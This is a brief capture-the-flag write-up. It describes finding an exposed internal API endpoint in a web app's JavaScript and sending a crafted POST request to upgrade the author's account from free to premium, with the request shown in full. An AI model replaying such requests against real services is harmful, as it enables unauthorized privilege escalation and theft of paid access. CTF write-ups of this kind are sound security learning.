### Solution
- created an account, which landed me on a dashboard with user `Free tier`

- i than started going through all the requests and found the jwt and base64 encoded user in localStorage. but that was not working.

- i than started going through the js files on the source code and found a js file with exposed api requests to upgrade an user from `free` to `premium`

```
examples: {
upgradeUserExample: {
endpoint: "/api/internal/v1/migrate/user-tier",
method: "POST",
body: {
u: "user-uid-here",
t: "premium"
},
validTiers: ["free", "premium", "enterprise"]
}
}
```

- i crafted a burpsuite request and sent to my uid, and then I refreshed my dashboard, i had got premium user, so got the flag.

```
POST /api/internal/v1/migrate/user-tier HTTP/1.1
Host: 23.239.26.112:8091
Authorization: Bearer YOUR_JWT_TOKEN
Content-Type: application/json

{
"u": "7adb76f6-ff4b-4cf0-b48c-de502e297a08",
"t": "premium"
}
```
